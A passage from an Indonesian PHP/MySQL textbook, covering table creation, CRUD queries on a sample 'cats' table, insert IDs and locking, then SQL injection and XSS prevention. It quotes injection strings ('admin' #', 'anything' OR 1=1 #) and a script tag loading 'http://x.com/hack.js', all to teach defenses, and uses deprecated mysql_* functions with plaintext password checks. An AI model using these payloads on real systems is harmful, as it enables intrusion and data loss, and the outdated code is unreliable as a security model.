variabel $_POST['delete'] memiliki nilai. Jika demikian, user telah mengklik tombol DELETE 

RECORD untuk menghapus record. Dalam hal ini, nilai $isbn juga akan diposting. Seperti yang 

kita ingat, ISBN secara unik mengidentifikasi setiap catatan. Formulir HTML menambahkan 

ISBN ke string kueri DELETE FROM yang dibuat dalam variabel $query, yang kemu dian 

diteruskan ke fungsi mysql_query untuk mengeluarkannya ke MySQL. mysql_query 

100 

 

Manajemen Database MySQL

mengembalikan TRUE atau FALSE, dan FALSE menyebabkan pesan kesalahan ditampilkan 

menjelaskan apa yang salah. Jika $_POST['delete']) tidak disetel (dan karena itu tidak ada 

catatan yang akan dihapus), $_POST['author']) dan nilai yang diposting lainnya diperiksa. Jika 

semuanya telah diberi nilai, maka $query diatur ke perintah INSERT INTO, diikuti oleh lima 

nilai yang akan dimasukkan. Variabel kemudian diteruskan ke mysql_query,  yang sesudah  

selesai mengembalikan TRUE atau FALSE. Jika FALSE dikembalikan, pesan kesalahan 

ditampilkan. 

Menampilkan Formulir 

Selalu ingat bahwa struktur echo <<<_END dari bab sebelumnya, yang menampilkan 

semua yang ada di antara tag _END. Selain perintah echo, program juga bisa keluar dari PHP 

memakai  ?>, mengeluarkan HTML, lalu masuk kembali ke pemrosesan PHP dengan 

<?php. Gaya apa pun yang digunakan adalah masalah preferensi programmer, tetapi saya 

selalu merekomendasikan untuk tetap memakai  kode PHP karena alasan berikut:  

• Ini membuat PHP sangat jelas saat debugging (dan juga untuk user lain) bahwa semua 

yang ada di dalam file.php adalah kode PHP. Oleh karena itu, tidak perlu pergi berburu 

untuk putus sekolah ke HTML. 

• Saat kita ingin memasukkan variabel PHP langsung ke dalam HTML, kita cukup 

mengetiknya. Jika kita kembali ke HTML, kita harus memasukkan kembali pemrosesan 

PHP untuk sementara, mengeluarkan variabel, dan kemudian keluar lagi. 

Bagian formulir HTML hanya mengatur tindakan formulir ke sqltest.php. Artinya, saat  

formulir dikirimkan, isi field formulir akan dikirim ke file sqltest.php, yang merupakan program 

itu sendiri. Formulir juga diatur untuk mengirim field sebagai POST daripada permintaan GET. 

Ini karena permintaan GET ditambahkan ke URL yang dikirimkan dan dapat terlihat berantakan 

di browser kita. Mereka juga memungkinkan user untuk dengan mudah memodifikasi kiriman 

dan mencoba meretas server kita. Oleh karena itu, bila memungkinkan, kita harus 

memakai  pengiriman POST, yang juga memiliki manfaat menyembunyikan data yang 

diposting dari tampilan. sesudah  menampilkan field formulir, HTML menampilkan tombol 

Kirim dengan nama ADD RECORD dan menutup formulir. Perhatikan penggunaan tag <pre> 

dan </pre> di sini, yang telah digunakan untuk memaksa font monospace dan memungkinkan 

semua input berbaris dengan rapi. Pengembalian carriage di akhir setiap baris juga 

dikeluarkan saat berada di dalam tag <pre>.  

Menanyakan Database 

Selanjutnya, kode kembali ke wilayah dalam empat baris kode berikut, permintaan 

dikirim ke MySQL meminta untuk melihat semua catatan dalam tabel klasik. sesudah  itu, $rows 

diatur ke nilai yang mewakili jumlah baris dalam tabel dan loop for dimasukkan untuk 

menampilkan konten setiap baris. Saya telah mengubah sedikit kode berikutnya untuk 

menyederhanakan banyak hal. Alih-alih memakai  tag <br> untuk umpan baris, saya 

memilih untuk memakai  tag <pre> untuk menyelaraskan tampilan setiap catatan dengan 

cara yang menyenangkan. sesudah  tampilan setiap record, ada form kedua yang juga diposting 

ke sqltest.php (program itu sendiri) tapi kali ini berisi dua field tersembunyi: delete dan isbn. 

Field hapus diatur ke "ya" dan isbn ke nilai yang disimpan di $baris[4], yang berisi ISBN untuk 

catatan. Kemudian muncul tombol Submit dengan nama DELETE RECORD dan form ditutup. 

Tanda kurung kurawal kemudian melengkapi perulangan for, yang akan berlanjut hingga 

semua record ditampilkan. 

Terakhir, kita melihat definisi fungsi get_post, yang telah kita lihat. Dan hanya itu —

program PHP pertama kita untuk memanipulasi database MySQL. Jadi, mari kita periksa apa 

yang bisa dilakukannya. sesudah  kita mengetik program (dan memperbaiki kesalahan 

pengetikan), coba masukkan data berikut ke berbagai field input untuk menambahkan catatan 

baru untuk buku Moby Dick ke database: 

101 

 

Manajemen Database MySQL

Agus Widodo 

Moby Dick 

Ilmiah 

1851 

9780199535729 

 

Menjalankan Program 

saat  kita telah mengirimkan data ini memakai  tombol ADD RECORD, gulir ke 

bawah ke bagian bawah halaman web untuk melihat tambahan baru. Sekarang mari kita lihat 

bagaimana menghapus catatan bekerja dengan membuat catatan dummy. Coba masukkan 

hanya nomor 1 di masing-masing dari lima field dan klik tombol ADD RECORD. Jika sekarang 

kita menggulir ke bawah, kita akan melihat catatan baru yang hanya terdiri dari 1 detik. Jelas 

catatan ini tidak berguna dalam tabel ini, jadi sekarang klik tombol DELETE RECORD dan gulir 

ke bawah lagi untuk mengonfirmasi bahwa catatan telah dihapus. Dengan asumsi bahwa 

semuanya bekerja, kita sekarang dapat menambah dan menghapus catatan sesuka hati. Coba 

lakukan ini beberapa kali, tetapi biarkan catatan utama tetap di tempatnya (termasuk yang 

baru untuk Moby Dick), karena ki ta akan memakai nya nanti. Kita juga dapat mencoba 

menambahkan catatan dengan semua 1 lagi beberapa kali dan perhatikan pesan kesalahan 

yang kita terima untuk kedua kalinya, yang menunjukkan bahwa sudah ada ISBN dengan 

nomor 1. 

MySQL Praktis 

Sekarang kita siap untuk melihat beberapa teknik praktis yang dapat kita gunakan di 

PHP untuk mengakses database MySQL, termasuk tugas-tugas seperti membuat dan 

menjatuhkan tabel; memasukkan, memperbarui, dan menghapus data; serta melindungi 

database dan situs web kita dari user jahat. Perhatikan bahwa contoh selanjutnya dengan 

mengasumsikan bahwa kita telah membuat program login.php. 

Membuat Tabel 

Anggap saja kita sedang bekerja untuk taman margasatwa dan perlu membuat 

database untuk menyimpan detail tentang semua jenis kucing yang dikandungnya. Kita diberi 

tahu bahwa ada sembilan keluarga kucing—Lion, Tiger, Jaguar, Leopard, Cougar, Cheetah, 

Lynx, Caracal, dan Domestic —jadi kita memerlukan kolom untuk itu. Kemudian setiap kucing 

telah diberi nama, jadi itu kolom lain, dan kita juga ingin melacak usia mereka, yang lain. Tentu 

saja, kita mungkin akan memerlukan  lebih banyak kolom nanti, mungkin untuk memenuhi 

persyaratan diet, inokulasi, dan detail lainnya, tetapi untuk saat ini sudah cukup untuk 

memulai. Identifikator unik juga diperlukan untuk setiap hewan, jadi kita juga memutuskan 

untuk membuat kolom untuk yang disebut id. Contoh dibawah ini menunjukkan kode yang 

mungkin kita gunakan untuk membuat tabel MySQL untuk disimpan data ini, dengan tugas 

kueri utama dalam teks tebal. 

Contoh Membuat tabel bernama kucing 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "CREATE TABLE cats ( 

id SMALLINT NOT NULL AUTO_INCREMENT, 

family VARCHAR(32) NOT NULL, 

102 

 

Manajemen Database MySQL

name VARCHAR(32) NOT NULL, 

age TINYINT NOT NULL, 

PRIMARY KEY (id) 

)"; 

$resu lt = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

?>  

 

Seperti yang kita lihat, kueri MySQL terlihat sangat mirip dengan cara kita mengetiknya 

langsung di command line, kecuali jika tidak ada tanda titik koma, karena tidak diperlukan saat 

kita mengakses MySQL dari PHP. 

Menggambarkan Tabel 

Saat kita tidak masuk ke command line MySQL, berikut adalah kode praktis yang dapat 

kita gunakan untuk memverifikasi bahwa tabel telah dibuat dengan benar dari dalam browser. 

Ini hanya mengeluarkan kueri DESCRIBE cats dan kemudian menampilkan tabel HTML dengan 

empat judul—Column, Type, Null, dan Key—di bawahnya semua kolom di dalam tabel akan 

ditampilkan. Untuk memakai nya dengan tabel lain, cukup ganti nama cat (kucing) dala m 

kueri dengan nama tabel baru. 

Contoh Menggambarkan tabel kucing 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($ db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "DESCRIBE cats";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

$rows = mysql_num_rows($result);  

echo "<table><tr><th>Column</th><th>Type</th><th>Null</th><th>Key</th></tr>";  

for ($j = 0 ; $j < $rows ; ++$j)  

{  

$row = mysql_fetch_row($result);  

echo "<tr>";  

for ($k = 0 ; $k < 4 ; ++$k)  

echo "<td>$row[$k]</td>";  

echo "</tr>";  

}  

echo "</table>";  

?>  

 

Output dari program akan terlihat seperti ini: 

 

Column Type Null Key 

id smallint(6) NO PRI  

family varchar(32) NO  

name varchar(32) NO  

age tinyint(4) NO  

103 

 

Manajemen Database MySQL

Meletakkan Tabel 

Menjatuhkan kolom sangat mudah dilakukan dan karena itu sangat berbahaya, jadi 

berhati-hatilah. Contoh selanjutnya menunjukkan kode yang kita butuhkan. Namun, saya 

tidak menyarankan kita mencobanya sampai kita telah melalui contoh lain, karena akan 

menjatuhkan kolom kucing dan kita harus membuatnya kembali memakai  contoh 

sebelumnya. 

Contoh Menjatuhkan kolom kucing 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "DROP TABLE cats";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

?>  

 

Menambahkan Data 

Mari tambahkan beberapa data ke tabel memakai  kode dari contoh dibawah ini. 

Contoh Menambahkan data ke tabel cat 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: "  . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "INSERT INTO cats VALUES(NULL, 'Lion', 'Leo', 4)";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error() ) ;  

?>  

 

Anda mungkin ingin menambahkan beberapa item data lagi dengan memodifikasi 

$query sebagai berikut dan memanggil program di browser kita lagi:  

 

$query = "INSERT INTO cats VALUES(NULL, 'Cougar', ' Growler', 2)";  

$query = "INSERT INTO cats VALUES(NULL, 'Cheetah', 'Charly', 3)";  

 

Pilai NULL yang dilewatkan sebagai parameter pertama? Ini karena kolom id bertipe 

AUTO_INCREMENT, dan MySQL akan memutuskan nilai apa yang akan diberikan sesuai 

dengan nomor yang tersedia berikutnya secara berurutan, jadi kita cukup memberikan nilai 

NULL, yang akan diabaikan. Tentu saja, cara paling efisien untuk mengisi MySQL dengan data 

adalah dengan membuat larik dan menyisipkan data dengan satu kueri. 

Mengambil Data 

Sekarang beberapa data telah dimasukkan ke dalam tabel cat, Contoh dibawah ini 

menunjukkan bagaimana kita dapat memeriksa apakah itu dimasukkan dengan benar. 

Contoh Mengambil baris dari tabel kucing 

104 

 

Manajemen Database MySQL

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "SELECT * FROM cats";  

$result = mysql_query($query);  

if (!$result) die ("Data base access failed: " . mysql_error()) ;  

$rows = mysql_num_rows($result);  

echo "<table><tr> <th>Id</th> <th>Family</th><th>Name</th><th>Age</th></tr>";  

for ($j = 0 ; $j < $rows ; ++$j)  

{  

$row = mysql_fetch_row($result);  

echo "<tr>";  

for ($k = 0 ; $k < 4 ; + +$k)  

echo "<td>$row[$k]</td>";  

echo "</tr>";  

}  

echo "</table>";  

?>  

 

Kode ini hanya mengeluarkan kueri MySQL SELECT * FROM cats dan kemudian 

menampilkan semua baris yang dikembalikan. Outputnya adalah sebagai berikut: 

 

Id Family Name Age 

1 Lion Leo 4 

2 Cougar Growler 2  

3 Cheetah Charly 3 

 

Di sini kita dapat melihat bahwa kolom id telah bertambah secara otomatis dengan benar. 

Memperbarui Data 

Mengubah data yang sudah kita masukkan juga cukup sederhana. Apakah kita 

memperhatikan ejaan Charly untuk nama cheetah?  

Contoh Mengganti nama Charly si cheetah menjadi Charlie 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "UPDATE cats SET name='Charlie' WHERE name='Charly'";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

?>  

 

If 

105 

 

Manajemen Database MySQL

Jika kita menjalankan contoh diatas maka kita akan melihat bahwa itu sekarang menampilkan 

yang berikut: 

 

Id Family Name Age 

1 Lion Leo 4 

2 Cougar Growler 2  

3 Cheetah Charlie 3 

 

Menghapus Data 

Growler si tante girang telah dipindahkan ke kebun binatang lain , jadi sekarang saatnya 

untuk menghapusnya dari database. 

Contoh Menghapus Growler si tante girang dari kolom kucing 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "DELETE FROM cats WHERE name=' Growler'";  

$result = mysql_query($query);  

if (!$result) die ("Database access f ailed: " . mysql_error()) ;  

?>  

 

Ini memakai  kueri DELETE FROM standar, dan saat kita menjalankan Contoh diatas kita 

dapat melihat bahwa baris telah dihapus dalam output berikut: 

 

Id Family  Name   Age 

1  Lion    Leo     4 

3  Cheetah Charlie 3 

 

memakai  AUTO_INCREMENT 

Saat memakai  AUTO_INCREMENT, kita tidak dapat mengetahui nilai apa yang 

telah diberikan ke kolom sebelum baris disisipkan. Sebaliknya, jika kita perlu mengetahuinya, 

kita harus bertanya ke MySQL sesudahnya memakai  fungsi mysql_insert_id. Kebutuhan 

ini umum: misalnya, saat kita memproses pembelian, kita mungkin memasukkan pelanggan 

baru ke dalam tabel Pelanggan dan kemudian merujuk ke CustId yang baru dibuat saat 

memasukkan pembelian ke dalam tabel pembelian.  

Contoh Menambahkan data ke tabel kucing dan melaporkan id penyisipan 

 

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_databas e)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";  

$result = mysql_query($query);  

echo "The Insert Id was: " . mysql_insert_id();  

106 

 

Manajemen Database MySQL

if (!$result) die ("Database access failed: " . mysql_error()) ;  

?>  

 

Isi tabel sekarang akan terlihat seperti berikut (perhatikan bagaimana nilai id sebelumnya dari 

2 tidak digunakan kembali, karena ini dapat menyebabkan komplikasi dalam beberapa kasus):  

 

Id Family  Name    Age 

1  Lion    Leo      4 

3  Cheetah Charlie  3 

4  Lynx    Stumpy   5  

 

memakai  Insert ID  

Sangat umum untuk menyisipkan data dalam beberapa tabel: buku diikuti oleh 

penulisnya, atau pelanggan diikuti oleh pembeliannya, dan seterusnya. Saat melakukan ini 

dengan kolom kenaikan otomatis, kita harus mempertahankan ID sisipan yang dikembalikan 

untuk disimpan di tabel terkait. Sebagai contoh, mari kita asumsikan bahwa kucing-kucing ini 

dapat "diadopsi" oleh publik sebagai sarana penggalangan dana, dan saat  seekor kucing 

baru disimpan di kolom kucing, kita juga ingin membuat kunci untuk mengikatnya ke pemilik 

hewan adopsi. Kodenya adalah sebagai berikut: 

 

$query = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";  

$result = mysql_query($query);  

$insertID = mysql_insert_i d();  

$query = "INSERT INTO owners VALUES($insertID, 'Ann', 'Smith')";  

$result = mysql_query($query);  

 

Sekarang kucing terhubung ke "pemiliknya" melalui ID unik kucing, yang dibuat secara 

otomatis oleh AUTO_INCREMENT.  

memakai  kunci 

Prosedur yang benar-benar aman untuk menghubungkan tabel melalui sisipan ID 

adalah dengan memakai  kunci. Ini dapat sedikit memperlambat waktu respons saat  ada 

banyak orang yang mengirimkan data ke tabel yang sama. Urutannya adalah sebagai berikut: 

1. Kunci tabel pertama (mi s., Cat (kucing dalam bahasa inggris).  

2. Masukkan data ke tabel pertama. 

3. Ambil ID unik dari tabel pertama melalui mysql_insert_id.  

4. Buka kunci tabel pertama. 

5. Masukkan data ke dalam tabel kedua. 

Anda dapat melepaskan kunci dengan aman sebelum memasukkan data ke tabel kedua, 

karena ID penyisipan telah diambil dan disimpan dalam variabel program. Kita juga bisa 

memakai  transaksi alih-alih mengunci, tetapi itu semakin memperlambat server MySQL. 

Melakukan Pertanyaan Tambahan 

Untuk menjelajahi beberapa kueri yang sedikit lebih kompleks, kita perlu kembali 

memakai  tabel pelanggan dan klasik. Akan ada dua pelanggan di tabel pelanggan; tabel 

klasik menyimpan detail beberapa buku. Mereka juga berbagi kolom umum ISBN, yang disebut 

isbn, yang dapat kita gunakan untuk melakukan kueri tambahan. Misalnya, untuk 

menampilkan semua pelanggan beserta judul dan penulis buku yang mereka beli, kita dapat 

memakai  kode seperti contoh dibawah ini. 

Contoh Melakukan kueri sekunder 

 

107 

 

Manajemen Database MySQL

<?php  

require_once 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$query = "SELECT * FROM custome rs";  

$result = mysql_query($query);  

if (!$result) die ("Database access failed: " . mysql_error()) ;  

$rows = mysql_num_rows($result);  

for ($j = 0 ; $j < $rows ; ++$j)  

{  

$row = mysql_fetch_row($result);  

echo "$row[0] purchased ISBN $row[1]:<br>";  

$subquery =  "SELECT * FROM classics WHERE isbn=' $row[1]' ";  

$subresult = mysql_query($subquery);  

if (!$subresult) die ("Database access failed: " . mysql_error()) ;  

$subrow = mysql_fetch_row($subresult);  

echo " ' $subrow[1]' by $subrow[0]<br>";  

}  

?>  

 

Program ini memakai  kueri awal ke tabel pelanggan untuk mencari semua 

pelanggan, kemudian, dengan memberikan ISBN buku yang dibeli setiap pelanggan, akan 

membuat kueri baru ke tabel klasik untuk mengetahui judul dan pengarang masing-masing. 

Output dari kode ini harus sebagai berikut: 

 

Mars Caroline purchased ISBN 9780582506206: 

'Membangun PODCAST' by Agus Widodo 

Sarwo Nugroho purchased ISBN 9780517123201: 

'Desain Seri Rupa Realis dan Tata warna' by Mars Caroline W 

 

Catatan: Tentu saja, meskipun tidak menggambarkan melakukan kueri tambahan, dalam 

kasus khusus ini kita juga dapat mengembalikan informasi yang sama memakai  kueri 

NATURAL JOIN seperti ini: 

 

SELECT name,isbn,title,author  

FROM customers NATURAL JOIN classics;  

 

Mencegah Injeksi SQL 

Mungkin sulit untuk memahami betapa berbahayanya melewatkan input user yang 

tidak dicentang ke MySQL. Misalnya, kita memiliki sepotong kode sederhana untuk 

memverifikasi user, dan terlihat seperti ini: 

 

$user = $_POST['user'];  

$pass = $_POST['pass'];  

$query = "SELECT * FROM users WHERE user=' $user' AND pass=' $pass'";  

108 

 

Manajemen Database MySQL

Pada pandangan pertama, kita mungkin berpikir kode ini baik-baik saja. Jika user memasukkan 

nilai fredsmith dan mypass masing-masing untuk $user dan $pass, maka string kuer i, yang 

diteruskan ke MySQL, akan menjadi sebagai berikut: 

 

SELECT * FROM users WHERE user='fredsmith' AND pass='mypass'  

 

Ini semua baik dan bagus, tetapi bagaimana jika seseorang memasukkan yang berikut untuk 

$user (dan bahkan tidak memasukkan apa pun unt uk $pass)?  

 

admin' #  

 

Mari kita lihat string yang akan dikirim ke MySQL: 

 

SELECT * FROM users WHERE user='admin' #' AND pass=' '  

 

Apakah kita melihat masalah di sana? Di MySQL, simbol # mewakili awal komentar. Oleh 

karena itu, user akan masuk sebagai admin (dengan asumsi ada admin pengguna), tanpa harus 

memasukkan kata sandi. Berikut ini, bagian dari kueri yang akan dieksekusi ditampilkan dalam 

huruf tebal; sisanya akan diabaikan.  

 

SELECT * FROM users WHERE user='admin' #' AND pass='' 

 

Jika aplikasi kita menghapus user dari database, maka kodenya akan terlihat seperti ini: 

 

$user = $_POST['user'];  

$pass = $_POST['pass'];  

$query = "DELETE FROM users WHERE user=' $user' AND pass=' $pass'";  

 

Sekali lagi, ini terlihat cukup normal pada pandangan pertama, tetapi bagaimana jika 

seseorang memasukkan yang berikut untuk $user?  

 

anything' OR 1=1 #  

 

Ini akan ditafsirkan oleh MySQL sebagai: 

 

DELETE FROM users WHERE user='anything' OR 1=1 #' AND pass='' 

 

Kueri SQL akan selalu BENAR sehingga kita akan kehilangan seluruh database user kita. Jadi 

bagaimana jika ada serangan seperti ini?  Jangan mengandalkan tanda kutip ajaib bawaan 

PHP, yang secara otomatis keluar dari karakter apa pun seperti tanda kutip tunggal dan ganda 

dengan mengawalinya dengan garis miring terbalik ( \ ). Mengapa? Karena fitur ini bisa 

dimatikan; banyak programmer melakukannya untuk menempatkan kode keamanan mereka 

sendiri. Jadi tidak ada jaminan bahwa ini tidak terjadi di server yang kita kerjakan. Faktanya, 

fitur tersebut tidak digunakan lagi pada PHP 5.3.0 dan telah dihapus di PHP 6.0.0. Sebagai 

gantinya, kita harus selalu memakai  fungsi mysql_real_escape_string untuk semua 

panggilan ke MySQL. Contoh dibawah ini adalah fungsi yang dapat kita gunakan yang akan 

menghapus tanda kutip ajaib yang ditambahkan ke string yang dimasukkan user dan kemudian 

membersihkannya dengan benar untuk kita. 

Contoh Cara membersihkan input user untuk MySQL dengan benar 

109 

 

Manajemen Database MySQL

<?php  

function mysql_fix_string($string)  

{  

if (get_magic_quotes_gpc()) $string = stripslashe s($string);  

return mysql_real_escape_string($string);  

}  

?>  

 

Fungsi get_magic_quotes_gpc mengembalikan TRUE jika tanda kutip ajaib aktif. Dalam 

hal ini, garis miring apa pun yang telah ditambahkan ke string harus dihapus, atau fungsi 

mysql_real_escape_string dapat membuat karakter keluar ganda, membuat string rusak. 

Contoh dibawah ini mengilustrasikan bagaimana kita akan memasukkan mysql_fix_string ke 

dalam kode kita sendiri. 

Contoh Cara aman mengakses MySQL dengan input pengguna 

 

<?ph p 

$user = mysql_fix_string($_POST['user']) ;  

$pass = mysql_fix_string($_POST['pass']) ;  

$query = "SELECT * FROM users WHERE user=' $user' AND pass=' $pass'";  

function mysql_fix_string($string)  

{  

if (get_magic_quotes_gpc()) $string = stripslashes($string);  

return mysql_real_escape_string($string);  

}  

?>  

 

memakai  Placeholder 

Cara lain untuk mencegah injeksi SQL adalah dengan memakai  fitur yang disebut 

placeholder. Idenya adalah untuk menentukan kueri memakai  ? karakter di mana data 

akan muncul. Kemudian, panggil kueri yang telah ditentukan sebelumnya untuk meneruskan 

data ke sana. Ini memiliki efek memastikan bahwa setiap item data yang dimasukkan 

dimasukkan langsung ke dalam database dan tidak dapat ditafsirkan sebagai kueri SQL. 

Dengan kata lain, injeksi SQL menjadi tidak mungkin. Urutan kueri yang akan dieksekusi saat 

memakai  command line MySQL akan seperti pada contoh berikut ini: 

Contoh memakai  placeholder 

 

PREPARE statement FROM "INSERT INTO classics VALUES(?,?,?,?,?) ";  

SET @author = "Emily  Brontë",  

@title = "Wuthering Heights",  

@category = "Classic Ilmiah",  

@year = "1847",  

@isbn = "9780553212587";  

EXECUTE statement USING @author,@title,@category,@year,@isbn;  

DEALLOCATE PREPARE statement;  

 

Perintah pertama menyiapkan pernyataan yang disebut pernyataan untuk 

memasukkan data ke dalam tabel klasik. Seperti yang kita lihat, sebagai pengganti nilai atau 

variabel untuk data yang akan disisipkan, pernyataan berisi serangkaian ? karakter. Ini adalah  

placeholder. Lima baris berikutnya memberikan nilai ke variabel MySQL sesuai dengan data 

110 

 

Manajemen Database MySQL

yang akan dimasukkan. Kemudian pernyataan yang telah ditentukan dieksekusi, melewati 

variabel-variabel ini sebagai parameter. Terakhir, pernyataan tersebut dihapus, untuk 

mengembalikan sumber daya yang digunakannya. Di PHP, kode untuk prosedur ini terlihat 

seperti contoh dibawah (dengan asumsi kita telah membuat login.php dengan detail yang 

benar untuk mengakses database).  

Contoh  memakai  placeholder dengan PHP. 

 

< ?php  

require 'login.php';  

$db_server = mysql_connect($db_hostname, $db_username, $db_password);  

if (!$db_server) die("Unable to connect to MySQL: " . mysql_error()) ;  

mysql_select_db($db_database)  

or die("Unable to select database: " . mysql_error()) ;  

$quer y = 'PREPARE statement FROM "INSERT INTO classics VALUES(?,?,?,?,?) "' ;  

mysql_query($query);  

$query = 'SET @author = "Emily Brontë",' .  

' @title = "Wuthering Heights",' .  

' @category = "Classic Ilmiah",' .  

' @year = "1847",' .  

' @isbn = "9780553212587"' ;  

mysql_ query($query);  

$query = 'EXECUTE statement USING @author,@title,@category,@year,@isbn';  

mysql_query($query);  

$query = 'DEALLOCATE PREPARE statement';  

mysql_query($query);  

?>  

 

sesudah  kita menyiapkan pernyataan dan belum alokasinya, kita masih dapat 

memakai nya sesering yang kita inginkan. Pernyataan seperti itu biasanya digunakan 

dalam satu lingkaran untuk memasukkan data ke dalam database dengan cepat dengan 

memberikan nilai ke variabel MySQL dan kemudian mengeksekusi pernyataan tersebut. 

Pendekatan ini lebih efisien daripada membuat seluruh pernyataan dari awal pada setiap 

melewati loop. 

Mencegah Injeksi HTML 

Ada jenis injeksi lain yang perlu kita perhatikan—bukan untuk keamanan situs web kita 

sendiri, tetapi untuk privasi dan perlindungan user kita. Itu skrip lintas situs, juga disebut 

sebagai XSS. Ini terjadi saat  kita mengizinkan HTML, atau lebih sering kode JavaScript, untuk 

dimasukkan oleh user dan kemudian ditampilkan kembali oleh situs web kita. Satu tempat ini 

umum adalah dalam bentuk komentar. Disini yang paling sering terjadi adalah user jahat akan 

mencoba menulis kode yang mencuri cookie dari user situs Anda, memungkinkannya 

menemukan pasangan nama user dan sandi atau informasi lainnya. Lebih buruk lagi, user jahat 

mungkin meluncurkan serangan untuk mengunduh Trojan ke komputer user. 

 

<script src='http://x.com/hack.js' >  

</script><script>hack();</script>  

 

Tetapi mencegahnya semudah memanggil fungsi htmlentities, yang menghapus 

semua kode markup HTML dan menggantinya dengan formulir yang menampilkan karakter, 

111 

 

Manajemen Database MySQL

tetapi tidak mengizinkan browser untuk bertindak berdasarkan kode tersebut. Sebagai 

contoh, perhatikan HTML berikut: 

 

&lt;script src='http://x.com/hack.js' &gt;  

&lt;/script&gt;&lt;script&gt;hack();&lt;/script&gt;  

 

Oleh karena itu, jika kita akan menampilkan apa pun yang dimasukkan user Anda, baik segera 

atau sesudah  menyimpannya dalam database, kita harus terlebih dahulu membersihkannya 

dengan htmlentities. Untuk melakukan ini, saya sarankan kita membuat fungsi baru, seperti 

yang pertama pada Contoh dibawah ini, yang dapat membersihkan untuk injeksi SQL dan XSS. 

Contoh Fungsi untuk mencegah serangan injeksi SQL dan XSS 

 

<?php  

function mysql_entities_fix_string($string)  

{  

return htmlentities(mysql_fix_string($string));  

}  

function mysql_f ix_string($string)  

{  

if (get_magic_quotes_gpc()) $string = stripslashes($string);  

return mysql_real_escape_string($string);  

}  

?>  

 

Fungsi mysql_entities_fix_string pertama -tama memanggil mysql_fix_string dan kemudian 

meneruskan hasilnya melalui htmlentities sebelum mengembalikan string yang sepenuhnya 

dibersihkan.  

Contoh Cara aman mengakses MySQL dan mencegah serangan XSS. 

 

<?php  

$user = mysql_entities_fix_string($_POST['user']) ;  

$pass = mysql_entities_fix_string($_POST['pass']) ;  

$query = "SELECT * FROM users WHERE user=' $user' AND pass=' $pass'";  

function mysql_entities_fix_string($string)